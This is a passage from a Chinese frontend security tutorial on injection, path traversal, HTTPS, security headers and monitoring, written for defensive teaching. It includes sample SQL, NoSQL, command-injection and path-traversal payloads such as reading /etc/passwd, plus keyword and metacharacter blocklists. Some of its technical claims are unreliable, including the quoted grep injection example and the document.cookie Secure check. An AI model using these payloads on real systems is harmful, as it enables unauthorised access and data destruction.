虽然SQL注入主要发生在后端,但前端作为数据入口层,在安全体系中扮演着关键的前置防御角色。SQL注入攻击的核心原理是:攻击者在输入框中输入恶意的SQL代码,这些代码被拼接到SQL语句中执行,导致数据库被非法访问或破坏。NoSQL注入的原理类似,但由于NoSQL使用JavaScript或类似语法构造查询,攻击方式略有不同。
前端的防护重点在于输入验证和参数化查询。前端应该对所有用户输入进行类型检查和格式验证,确保输入符合预期。但需要注意的是,前端验证只能作为辅助手段,安全的关键仍然在后端的参数化查询和ORM框架的防范机制上。
// SQL/NoSQL注入攻击与前端防护
// ============ SQL注入攻击示例 ============
// 典型的登录SQL注入
// 用户输入:
// 用户名: admin' --
// 密码: (随意)
// 后端生成的SQL:
// SELECT * FROM users WHERE username='admin' --' AND password=''
// 注释符号 -- 使密码检查失效,攻击者可以无密码登录
// 更严重的注入:
// 用户名: '; DROP TABLE users; --
// 导致删除整张表
// ============ NoSQL注入示例(MongoDB)============
// 使用原始查询的MongoDB接口
app.post('/api/user', async (req, res) => {
const { username, password } = req.body;
// ❌ 危险查询
const user = await db.collection('users').findOne({
username: username,
password: password,
});
// 攻击者构造:
// POST /api/user
// {"username": "admin", "password": {"$ne": ""}}
// 使用 $ne 操作符,任意密码都能匹配
// ✅ 安全查询(使用参数化)
const user = await db.collection('users').findOne({
username: { $eq: username },
password: { $eq: password },
});
});
// ============ 前端输入验证(辅助防御)============
class InputValidator {
constructor() {
this.rules = {
// 用户名:只允许字母、数字、下划线、3-20位
username: {
pattern: /^[a-zA-Z0-9_]{3,20}$/,
message: '用户名只允许字母、数字和下划线',
},
// 密码:至少8位字母数字组合
password: {
pattern: /^(?=.*[a-zA-Z])(?=.*\d).{8,}$/,
message: '密码需要至少8位字母数字组合',
},
// 手机号:中国大陆11位
phone: {
pattern: /^1[3-9]\d{9}$/,
message: '请输入有效的手机号',
},
// 邮箱
email: {
pattern: /^[^\s@]+@[^\s@]+\.[^\s@]+$/,
message: '请输入有效的邮箱地址',
},
// 日期:YYYY-MM-DD
date: {
pattern: /^\d{4}-\d{2}-\d{2}$/,
message: '日期格式: YYYY-MM-DD',
},
};
}
// 通用验证
validate(input, type) {
const rule = this.rules[type];
if (!rule) {
throw new Error(`Unknown validation type: ${type}`);
}
if (!rule.pattern.test(input)) {
return { valid: false, error: rule.message };
}
return { valid: true };
}
// 防SQL注入关键词过滤
sanitizeQuery(input) {
const sqlKeywords = /('|--|\bDROP\b|\bDELETE\b|\bINSERT\b|\bUPDATE\b|\bSELECT\b|\bUNION\b|\bOR\b|\bAND\b)/gi;
return input.replace(sqlKeywords, '');
}
// 类型安全检查(防止对象注入)
safeJSONParse(str) {
try {
const parsed = JSON.parse(str);
// 检查是否是简单字符串,而不是对象
if (typeof parsed === 'object' && parsed !== null) {
// 递归检查嵌套对象
const checkDeep = (obj, depth = 0) => {
if (depth > 3) return null;
if (Array.isArray(obj)) return obj.map(item => checkDeep(item, depth + 1));
if (typeof obj === 'object' && obj !== null) {
// 过滤掉所有$开头的操作符(MongoDB注入防护)
const allowed = {};
Object.keys(obj).forEach(key => {
if (!key.startsWith('$')) {
allowed[key] = checkDeep(obj[key], depth + 1);
}
});
return allowed;
}
return obj;
};
return checkDeep(parsed);
}
return parsed;
} catch {
return str;
}
}
}
5.2 命令注入与路径遍历
命令注入(Command Injection)和路径遍历(Path Traversal)是后端服务常见的注入攻击,但前端可以作为第一道防线进行防御。命令注入发生在服务端将用户输入拼接到系统命令中执行时;路径遍历则是攻击者通过构造特殊路径访问服务器上未授权的文件。前端需要对文件上传、文件路径选择等功能进行严格的输入校验。
除了前端验证外,构建安全的前端应用还需要在编码规范层面做出努力:避免使用eval()、new Function()、setTimeout(string)等可以执行字符串代码的API;使用安全的模板引擎(默认编码输出);对所有用户输入保持"不信任"态度。
// 命令注入与路径遍历防护
// ============ 命令注入原理 ============
// 服务端执行系统命令
app.get('/api/search', (req, res) => {
const query = req.query.q;
// ❌ 危险:直接拼接用户输入
const result = execSync(`grep "${query}" /var/log/app.log`);
res.send(result.toString());
// 攻击者输入:
// /api/search?q=hello;cat /etc/passwd
// 实际执行的命令:
// grep "hello;cat /etc/passwd" /var/log/app.log
// 在bash中,; 会分隔命令,导致执行 cat /etc/passwd
});
// ============ 路径遍历攻击原理 ============
// 文件下载接口
app.get('/api/download', (req, res) => {
const filename = req.query.file;
// ❌ 危险:直接拼接路径
const filePath = path.join('/var/www/files', filename);
res.sendFile(filePath);
// 攻击者输入:
// /api/download?file=../../etc/passwd
// 实际路径:
// /var/www/files/../../etc/passwd = /etc/passwd
});
// ============ 前端输入校验 ============
class FrontendSecurityValidator {
// 防止路径遍历
validateFilePath(filePath) {
// 禁止路径遍历字符
const pathTraversalPatterns = [
/\.\./, // ..
/~/, // 用户目录
/\\/, // 反斜杠
/%00/, // null字节
/%2e%2e/, // URL编码的..
];
for (const pattern of pathTraversalPatterns) {
if (pattern.test(filePath)) {
return { valid: false, error: '不合法的文件路径' };
}
}
return { valid: true };
}
// 防止命令注入
validateCommandInput(input) {
// 命令注入危险字符
const dangerousChars = /[;&|`$(){}[\]!#~<>]/;
if (dangerousChars.test(input)) {
return { valid: false, error: '输入包含不允许的字符' };
}
return { valid: true };
}
// 文件上传验证
validateFileUpload(file) {
const errors = [];
// 文件类型白名单
const allowedTypes = [
'image/jpeg',
'image/png',
'image/gif',
'image/webp',
'application/pdf',
'text/plain',
];
if (!allowedTypes.includes(file.type)) {
errors.push('不支持的文件类型');
}
// 文件大小限制(5MB)
const maxSize = 5 * 1024 * 1024;
if (file.size > maxSize) {
errors.push('文件大小不能超过5MB');
}
// 文件名安全检查
const safeName = /^[a-zA-Z0-9._-]+$/;
if (!safeName.test(file.name)) {
errors.push('文件名包含非法字符');
}
return {
valid: errors.length === 0,
errors,
};
}
}
六、HTTPS与中间人攻击防护
6.1 HTTPS工作原理
HTTPS(HTTP Secure)是在HTTP基础上通过SSL/TLS协议进行加密传输的安全协议。它解决了HTTP传输中的三大安全问题:窃听(内容加密)、篡改(数据完整性校验)和冒充(服务端身份验证)。对于任何涉及用户隐私数据的Web应用,HTTPS都是基本的安全要求。
前端在HTTPS防护中的角色,不仅仅是使用https://协议,还需要注意:混合内容(HTTPS页面中加载HTTP资源)、HSTS(强制HTTPS)、安全的Cookie传输(Secure属性)、以及证书验证等方面的安全设置。
// HTTPS与安全传输实践
// ============ 混合内容问题 ============
// 在HTTPS页面中加载HTTP资源会触发混合内容警告
// 被动混合内容(图片、视频等)→ 可能仍能加载,有警告
// 主动混合内容(脚本、样式等)→ 被浏览器拦截
// 检测混合内容
function checkMixedContent() {
const resources = performance.getEntriesByType('resource');
const mixed = resources.filter(entry => {
if (entry.name.startsWith('http:') &&
location.protocol === 'https:') {
return true;
}
return false;
});
if (mixed.length > 0) {
console.warn('发现混合内容:', mixed);
// 将不安全资源上报
reportSecurityIssue('mixed-content', mixed);
}
}
// 使用 Content Security Policy 强制HTTPS
// upgrade-insecure-requests 升级所有HTTP为HTTPS
res.setHeader('Content-Security-Policy', [
"default-src 'self'",
"upgrade-insecure-requests",
].join('; '));
// ============ HSTS(HTTP Strict Transport Security)============
// 强制浏览器只使用HTTPS访问网站
app.use((req, res, next) => {
res.setHeader(
'Strict-Transport-Security',
'max-age=31536000; includeSubDomains; preload'
);
next();
});
// HSTS 指令说明:
// max-age=31536000 → 1年内强制使用HTTPS
// includeSubDomains → 包含所有子域名
// preload → 提交到浏览器预加载列表
// ============ 证书锁定(Certificate Pinning)============
// 前端验证服务器证书(减少中间人攻击风险)
// ❌ 不安全的证书验证(忽略错误)
const insecureFetch = (url) => {
process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';
return fetch(url); // 危险!
};
// ✅ 安全的证书验证
// 使用HPKP(HTTP Public Key Pinning,已弃用)
// 推荐使用Expect-CT header
// ============ 安全传输清单 ============
const httpsChecklist = {
'启用HTTPS': {
required: true,
check: () => location.protocol === 'https:',
fix: '配置SSL/TLS证书',
},
'禁止混合内容': {
required: true,
check: () => document.querySelectorAll('[src^="http:"]').length === 0,
fix: '将所有资源URL改为https://',
},
'设置HSTS': {
required: true,
check: '检查响应头中的Strict-Transport-Security',
fix: '服务端配置HSTS响应头',
},
'安全Cookie': {
required: true,
check: () => document.cookie.includes('secure'),
fix: 'Cookie设置Secure属性',
},
'升级请求': {
recommended: true,
check: '配置CSP upgrade-insecure-requests',
fix: '添加CSP头',
},
};
6.2 前端传输安全最佳实践
除了HTTPS的基础防护外,前端还需要在敏感数据传输方面采取额外措施。对于包含用户隐私的敏感数据(如密码、支付信息、个人身份信息等),建议在前端进行一次性哈希或加密后再通过HTTPS传输,形成传输层安全(HTTPS)+ 应用层安全(前端加密)的双重防护。
此外,前端应该注意子资源完整性(SRI)的保护,确保从CDN加载的脚本和样式没有被篡改。SRI通过hash值校验外部资源的完整性,如果资源内容被篡改,浏览器会拒绝加载。
// 前端传输安全实践
// ============ 子资源完整性(SRI)============
// 防止CDN资源被篡改
/*
<script
src="https://cdn.example.com/react.production.min.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous">
</script>
生成 integrity hash:
openssl dgst -sha384 -binary react.production.min.js | openssl base64 -A
*/
// ============ 前端敏感数据加密 ============
// 使用SubtleCrypto API(浏览器原生)
class ClientSideCrypto {
constructor() {
this.encoder = new TextEncoder();
this.decoder = new TextDecoder();
}
// 生成密钥对(RSA-OAEP,非对称加密)
async generateKeyPair() {
return await crypto.subtle.generateKey(
{
name: 'RSA-OAEP',
modulusLength: 2048,
publicExponent: new Uint8Array([1, 0, 1]),
hash: 'SHA-256',
},
true,
['encrypt', 'decrypt']
);
}
// 使用公钥加密数据
async encryptWithPublicKey(publicKey, data) {
const encoded = this.encoder.encode(JSON.stringify(data));
const encrypted = await crypto.subtle.encrypt(
{ name: 'RSA-OAEP' },
publicKey,
encoded
);
return btoa(String.fromCharCode(...new Uint8Array(encrypted)));
}
// 使用私钥解密数据
async decryptWithPrivateKey(privateKey, encryptedBase64) {
const encrypted = Uint8Array.from(atob(encryptedBase64), c => c.charCodeAt(0));
const decrypted = await crypto.subtle.decrypt(
{ name: 'RSA-OAEP' },
privateKey,
encrypted
);
return JSON.parse(this.decoder.decode(decrypted));
}
// 密码传输前哈希(SHA-256)
async hashPassword(password) {
const encoded = this.encoder.encode(password);
const hashBuffer = await crypto.subtle.digest('SHA-256', encoded);
const hashArray = Array.from(new Uint8Array(hashBuffer));
return hashArray.map(b => b.toString(16).padStart(2, '0')).join('');
}
// 安全传输示例:登录
async secureLogin(username, password, serverPublicKey) {
// 1. 在前端哈希密码(防止明文传输)
const hashedPassword = await this.hashPassword(password);
// 2. 使用服务端公钥加密凭证
const credentials = {
username,
password: hashedPassword,
timestamp: Date.now(),
nonce: crypto.randomUUID(), // 防止重放攻击
};
const encryptedCredentials = await this.encryptWithPublicKey(
serverPublicKey,
credentials
);
// 3. 发送加密数据到服务端
return fetch('/api/login', {
method: 'POST',
headers: { 'Content-Type': 'text/plain' },
body: encryptedCredentials,
});
}
}
// ============ HTTPS升级策略(HSTS Preload)============
// 将网站提交到浏览器HSTS预加载列表
// https://hstspreload.org/
// 对应Nginx配置
/*
server {
listen 443 ssl;
server_name example.com;
# SSL配置
ssl_certificate /etc/ssl/certs/example.com.pem;
ssl_certificate_key /etc/ssl/private/example.com.key;
# 现代TLS配置
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
ssl_prefer_server_ciphers on;
# HSTS(1年+子域名+预加载)
add_header Strict-Transport-Security
"max-age=31536000; includeSubDomains; preload" always;
}
# HTTP → HTTPS 重定向
server {
listen 80;
server_name example.com;
return 301 https://$host$request_uri;
}
*/
七、实战:构建安全的前端应用
7.1 安全开发流程
构建安全的前端应用不仅是技术问题,更是工程流程问题。需要在需求分析、设计、编码、测试、部署的每个阶段都引入安全考量。安全开发流程(Secure SDLC)包括:威胁建模、安全编码规范、安全代码审查、自动化安全测试、渗透测试和安全监控。
在编码阶段,建议使用ESLint的安全插件(如eslint-plugin-security)来自动检测常见安全漏洞。在CI/CD流水线中集成安全扫描工具(如OWASP ZAP、Snyk),对依赖包进行漏洞扫描。在生产环境部署安全监控(如Sentry的错误监控和CSP违规报告)。
// 前端应用安全工程化配置
// ============ 1. ESLint安全规则 ============
// .eslintrc.js
module.exports = {
plugins: ['security'],
extends: ['plugin:security/recommended'],
rules: {
// 检测危险API使用
'security/detect-eval-with-expression': 'error',
'security/detect-new-buffer': 'error',
'security/detect-no-csrf-before-method-override': 'error',
'security/detect-non-literal-fs-filename': 'error',
'security/detect-object-injection': 'warn',
'security/detect-possible-timing-attacks': 'warn',
'security/detect-pseudoRandomBytes': 'warn',
// 自定义规则
'no-eval': 'error',
'no-implied-eval': 'error',
'no-script-url': 'error',
},
};
// ============ 2. 依赖安全扫描 ============
// package.json 配置
{
"scripts": {
"audit": "npm audit --production",
"snyk": "snyk test",
"security-check": "npm audit && snyk test"
},
"devDependencies": {
"snyk": "^1.1200.0",
"owasp-dependency-check": "^6.0.0"
}
}
// ============ 3. 完整的CSP配置示例 ============
const productionCSP = [
// 基础策略
"default-src 'self'",
// 脚本(使用nonce机制)
"script-src 'self' 'strict-dynamic'",
// 样式(允许内联样式用于关键渲染路径)
"style-src 'self' 'unsafe-inline'",
// 图片(允许CDN和base64)
"img-src 'self' data: https://*.cloudfront.net",
// 字体
"font-src 'self' data:",
// API连接
`connect-src 'self' https://api.example.com
wss://ws.example.com https://sentry.io`,
// 框架(禁止iframe嵌入)
"frame-ancestors 'none'",
// 基础URI
"base-uri 'self'",
// 表单提交
"form-action 'self'",
// 升级HTTPS
"upgrade-insecure-requests",
// 报告(生产环境关闭,仅记录)
"report-uri /csp-report",
].join('; ');
7.2 安全响应头配置清单
安全响应头是服务端配置的HTTP头,用于控制浏览器的安全行为。一个完整的Web应用应该配置多种安全响应头来提供全方位防护。以下是最重要的安全响应头及其配置建议。
这些安全头应该通过统一的中间件或反向代理(Nginx)配置,确保所有响应都包含这些安全头。注意部分头部(如X-XSS-Protection)在最新浏览器中已废弃或被CSP替代,需要根据浏览器兼容性进行取舍。
// 安全响应头配置
// ============ Express中间件 ============
const helmet = require('helmet');
// helmet自动配置多个安全头
app.use(helmet());
// 或者手动配置(推荐,更灵活)
function secureHeaders(req, res, next) {
// XSS保护(现代浏览器使用CSP替代)
res.setHeader('X-XSS-Protection', '0'); // 废弃指令,设为0避免兼容问题
// MIME类型嗅探
res.setHeader('X-Content-Type-Options', 'nosniff');
// 禁止iframe嵌入
res.setHeader('X-Frame-Options', 'DENY');
// 引用策略
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
// 权限策略(限制浏览器功能API)
res.setHeader('Permissions-Policy', [
'camera=()', // 禁止摄像头
'microphone=()', // 禁止麦克风
'geolocation=()', // 禁止定位
'payment=()', // 禁止支付API
'fullscreen=(self)', // 仅允许同源全屏
].join(', '));
// HSTS
if (req.secure) {
res.setHeader(
'Strict-Transport-Security',
'max-age=31536000; includeSubDomains'
);
}
// CSP
res.setHeader('Content-Security-Policy', getCSPConfig(req));
next();
}
// ============ Nginx配置 ============
/*
server {
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header X-XSS-Protection "0" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self'" always;
}
*/
// ============ 安全响应头检查清单 ============
const securityHeadersChecklist = [
{
name: 'Content-Security-Policy',
description: '内容安全策略,防止XSS',
required: true,
example: "default-src 'self'",
},
{
name: 'X-Frame-Options',
description: '禁止点击劫持',
required: true,
example: 'DENY',
},
{
name: 'X-Content-Type-Options',
description: '禁止MIME类型嗅探',
required: true,
example: 'nosniff',
},
{
name: 'Strict-Transport-Security',
description: '强制HTTPS',
required: true,
example: 'max-age=31536000; includeSubDomains',
},
{
name: 'Referrer-Policy',
description: '控制Referer头信息',
recommended: true,
example: 'strict-origin-when-cross-origin',
},
{
name: 'Permissions-Policy',
description: '限制浏览器功能API',
recommended: true,
example: 'camera=(), microphone=()',
},
{
name: 'Clear-Site-Data',
description: '清除站点数据(登出时)',
recommended: true,
example: '"cache", "cookies", "storage"',
},
];
7.3 安全监控与应急响应
即使做了充分的预防措施,安全事件仍可能发生。建立安全监控和应急响应机制至关重要。前端的安全监控包括:CSP违规报告收集、客户端错误监控、API请求审计日志、以及用户行为异常检测等。
应急响应计划应该明确:安全事件等级的划分、处理流程的步骤、不同角色的职责、与用户的沟通策略、以及事后复盘和改进计划。建议定期进行安全演练,检验防护措施的有效性。
// 前端安全监控与应急响应
// ============ 1. 全局错误监听 ============
class SecurityMonitor {
constructor() {
this.errors = [];
this.alerts = [];
}
init() {
// 监听未捕获的错误
window.onerror = (message, source, lineno, colno, error) => {
this.recordError({
type: 'uncaught-error',
message,
source,
lineno,
colno,
stack: error?.stack,
url: window.location.href,
timestamp: Date.now(),
});
};
// 监听未处理的Promise拒绝
window.addEventListener('unhandledrejection', (event) => {
this.recordError({
type: 'unhandled-rejection',
reason: event.reason?.toString(),
stack: event.reason?.stack,
url: window.location.href,
timestamp: Date.now(),
});
});
// 监听安全策略违规
document.addEventListener('securitypolicyviolation', (e) => {
this.recordSecurityAlert({
type: 'csp-violation',
directive: e.violatedDirective,
blockedURI: e.blockedURI,
documentURI: e.documentURI,
originalPolicy: e.originalPolicy,
timestamp: Date.now(),
});
});
}
recordError(error) {
this.errors.push(error);
// 上报到监控系统
this.sendToMonitoring(error);
// 如果错误数量超过阈值,触发告警
if (this.errors.length > 100) {
this.triggerAlert({
level: 'warning',
message: '错误数量超过阈值',
count: this.errors.length,
});
}
}
recordSecurityAlert(alert) {
this.alerts.push(alert);
// 安全告警立即上报
this.sendToSecurityTeam(alert);
}
sendToMonitoring(data) {
// 使用Beacon API在页面卸载前发送(不影响用户体验)
navigator.sendBeacon?.('/api/monitoring', JSON.stringify(data));
}
sendToSecurityTeam(alert) {
// 安全告警优先级高,直接发送
fetch('/api/security/alert', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(alert),
});
}
triggerAlert(alert) {
console.warn('[安全告警]', alert);
// 可以通过WebSocket或Server-Sent Events即时通知
}
}
// ============ 2. API请求审计 ============
class APIAuditor {
constructor() {
this.auditLog = [];
}
// 包装fetch添加审计日志
createAuditedFetch() {
const originalFetch = window.fetch;
return async (url, options = {}) => {
const startTime = performance.now();
try {
const response = await originalFetch(url, options);
this.log({
url,
method: options.method || 'GET',
status: response.status,
duration: performance.now() - startTime,
success: true,
timestamp: Date.now(),
});
return response;
} catch (error) {
this.log({
url,
method: options.method || 'GET',
error: error.message,
duration: performance.now() - startTime,
success: false,
timestamp: Date.now(),
});
throw error;
}
};
}
log(entry) {
this.auditLog.push(entry);
// 标记异常请求
if (entry.status === 403 || entry.status === 401) {
console.warn('[安全审计] 权限不足:', entry.url);
}
if (entry.status >= 500) {
console.error('[安全审计] 服务端错误:', entry);
}
// 定期清空日志(批量上报)
if (this.auditLog.length >= 50) {
this.flush();
}
}
flush() {
if (this.auditLog.length > 0) {
const batch = this.auditLog.splice(0);
navigator.sendBeacon?.('/api/audit', JSON.stringify(batch));
}
}
}
// ============ 3. 安全状态总览 ============
const securityPosture = {
'XSS防御': {
'输入编码': '✅ DOMPurify + React自动编码',
'CSP': '✅ 严格策略(nonce机制)',
'HttpOnly Cookie': '✅ 已配置',
},
'CSRF防御': {
'CSRF Token': '✅ 服务端令牌验证',
'SameSite Cookie': '✅ Lax模式',
'自定义Header': '✅ X-Requested-With',
},
'传输安全': {
'HTTPS': '✅ TLS 1.2+',
'HSTS': '✅ 1年+子域名',
'SRI': '✅ CDN资源完整性',
},
'其他': {
'点击劫持': '✅ X-Frame-Options: DENY',
'敏感信息泄露': '✅ 请求头限制',
'依赖漏洞': '✅ 定期npm audit',
},
};
console.table(securityPosture);